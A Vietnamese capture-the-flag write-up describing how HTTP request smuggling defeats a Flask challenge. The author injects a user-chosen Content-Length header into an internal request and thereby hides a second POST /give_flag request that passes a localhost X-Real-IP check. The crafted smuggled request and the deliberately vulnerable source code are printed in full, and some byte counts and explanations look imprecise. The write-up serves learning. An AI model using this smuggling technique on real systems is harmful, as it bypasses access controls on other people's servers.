Đây là một challenge không hoàn toàn quá khó. Tuy nhiên trong suốt quá trình giải được diễn ra mình đã không thể tự mình bypass được, một phần là do mình đã quá để tâm đến các filter sql, hay xss, có lúc còn cố gắng khai thác lỗi SSTI.
Để bypass thành công chall này, ta cần khai thác được HTTP Request Smuggling.
Dưới đây là source code của file app.py (ta sẽ chỉ tập trung vào 2 api route: "/set_stuff" và "give_flag")
Trước tiên, đối với chức năng: "set_stuff"
@app.route('/set_stuff', methods=["POST"])
def set_stuff():
username = request.cookies.get('username')
if not username:
return render_template('forbidden.html', reason='no username provided')
if not does_profile_exist(username):
return render_template('forbidden.html', reason='username does not exist')
stuff = request.form.get('stuff')
if len(stuff) > 200:
return render_template('forbidden.html', reason='too much stuff')
special_type = request.form.get('special_type')
special_val = request.form.get('special_val')
if username and stuff and special_type and special_val:
# do security
stuff = security_filter(stuff)
special_type = security_filter(special_type)
special_val = security_filter(special_val)
username = security_filter(username)
# Update stuff internally
post_body = 'api_key=%s&username=%s&stuff=%s' % (internal_api_key,username,stuff)
http = urllib3.PoolManager()
url = 'http://127.0.0.1:3000/update_profile_internal'
headers = {
"Content-Type": "application/x-www-form-urlencoded",
special_type: special_val
}
response = http.request("POST", url, body=post_body, headers=headers)
return render_template('stuff_saved.html')
else:
return render_template('forbidden.html', reason='no stuff provided')
Mấu chốt ở đây là hàm set_stuff() không trực tiếp thao tác tới db, mà thay vào đó sẽ gửi HTTP request tới internal route: "http://127.0.0.1:3000/update_profile_internal".
POST /update_profile_internal
Host: 127.0.0.1:3000
Content-Type: "application/x-www-form-urlencoded",
emoji: cow
api_key=...&username=ditto123zfoM&stuff=hello
***Note:** special_type bằng "emoji", special_val bằng "cow", đây chính là unstrusted data để tận dụng khai thác HTTP Request Smuggling
Lúc này api_key, username, stuff sẽ trở thành tham số được truyền tới hàm update_profile_internal(), hàm này sẽ thực hiện câu lệnh truy vấn tới database: UPDATE profiles SET stuff = 'hello' WHERE username = 'ditto123zfoM'
để thay đổi giá trị stuff của user: 'ditto123zfoM'
Tiếp theo, phân tích source code của hàm give_flag():
@app.route("/give_flag", methods=["POST"])
def give_flag():
username = request.form.get('username')
if request.headers['X-Real-IP'] == "127.0.0.1":
sql = '''UPDATE profiles SET stuff = ? WHERE username = ?'''
cur = conn.cursor()
cur.execute(sql, (flag, username))
conn.commit()
return 'congrats!'
else:
sql = '''UPDATE profiles SET stuff = ? WHERE username = ?'''
cur = conn.cursor()
cur.execute(sql, ('No stuff for you', username))
conn.commit()
return 'no congrats!'
Hàm này sẽ kiểm tra trường X-Real-Ip trong Header của HTTP request được gửi tới, nếu X-Real-Ip == 127.0.0.1 thì sẽ thực hiện câu lệnh truy vấn, thay đổi giá trị stuff của user 'ditto123zfoM' thành flag, tiếp theo quay trở lại trang home, ta tìm được flag.
Tuy nhiên ta sẽ không thể tự ý thay đổi giá trị của X-Real-Ip. Do challenge này sử dụng nginx làm reversed proxy, và X-Real-Ip mặc định sẽ được set lại đúng bằng IP của client.

Khi phân tích hàm set_stuff(), ta có thể tự ý thay đổi giá trị của headers được gửi đi trong request tới route: update_profile_internal. Khi special_type="Content-Length", special_val=78. Lúc này, headers được gửi đi sẽ là:
POST /update_profile_internal
Host: 127.0.0.1:3000
Content-Type: "application/x-www-form-urlencoded",
Content-Length: 78
# **Tiến hành khai thác**

Sử dụng Burpsuite để gửi POST request tới path /set_stuff, body của request này sẽ bao gồm các query param: stuff, special_type, special_val.
Server lúc này sẽ nhận được request và tiếp tục gửi HTTP request tới route /update_profile_internal với nội dung như sau:
POST /update_profile_internal
Host: 127.0.0.1:3000
Content-Type: "application/x-www-form-urlencoded"
Content-Length: 78
api_key=...&username=ditto123zfoM&stuff=hello
POST /give_flag HTTP/1.1
HOST: 127.0.0.1:2000
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
username=ditto123z
Tuy nhiên, do trường Content-Length ở phần Header bằng 78 (bytes), bằng độ dài của "api_key=...&username=ditto123zfoM&stuff=hello" nên lúc này bên server sẽ chỉ đọc tới đây và tiếp tục quá trình thực hiện truy vấn tới db như được mô tả ở trên, còn request tới route give_flag sẽ được lưu lại tại cache để thực hiện sau.
Lúc này đây khi ta truy cập vô trang home(gửi thêm request tới server), server sẽ tiến hành xử lý gói tin request tới give_flag đã được lưu tại cache từ trước đó(request này đc gửi đi từ chính server nên địa chỉ ip là 127.0.0.1, từ đó thoả mãn điều kiện X-Real-Ip == 127.0.0.1, và stuff của user ditto123zfoM sẽ được set thành flag của challenge thông qua câu lệnh truy vấn sql).

Khai thác thành công =))